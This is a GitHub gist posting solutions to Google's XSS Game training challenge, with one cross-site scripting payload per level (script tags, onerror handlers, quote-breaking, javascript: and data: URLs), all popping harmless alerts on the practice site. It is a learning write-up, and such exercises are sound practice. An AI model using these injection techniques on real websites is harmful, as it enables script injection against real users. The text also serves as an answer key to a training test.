Skip to content

Instantly share code, notes, and snippets.

@pbssubhash
Last active August 22, 2025 01:30
Show Gist options
  • Select an option

  • Save pbssubhash/2f99644a4f24e8fe6b3e to your computer and use it in GitHub Desktop.

Select an option

Save pbssubhash/2f99644a4f24e8fe6b3e to your computer and use it in GitHub Desktop.
Solutions of the Google XSS Challenge..
Hey All,
I am P.B.Surya.Subhash, a 17 Year coder,hacker and a student.
Recently I happen to see so many posts regarding this " Google XSS Challenge " and i was fortunate enough to complete them..
These are the solutions for the challenges ;)
##############################################################################
Level 1: Hello, world of XSS
https://xss-game.appspot.com/level1/frame
query=<script>alert('xss')</script>
Well that wasn't so tough .. Was it ?
##############################################################################
Level 2: Persistence is key
https://xss-game.appspot.com/level2/frame
post-content=<img src='foobar' onerror='alert("xss")'>
#############################################################################
Level 3: That sinking feeling...
https://xss-game.appspot.com/level3/frame#1
URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert("xss")'>
#############################################################################
Level 4: Context matters
https://xss-game.appspot.com/level4/frame
timer=');alert('xss
#############################################################################
Level 5: Breaking protocol
https://xss-game.appspot.com/level5/frame
URL=https://xss-game.appspot.com/level5/frame/signup?next=javascript%3Aalert%28%27xss%27%29
#############################################################################
Level 6: Follow the X
https://xss-game.appspot.com/level6/frame#/static/gadget.js
URL=https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')
#############################################################################
Hope this will help you all to learn something..
Have a nice day,
Thanks to google for giving me a chance to test my skills \m/
Thanks to google again for the nice cake in the end , I like cakes so much ;)
Bye all..
Copy link

ghost commented Aug 22, 2025

noooo it didn't work

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment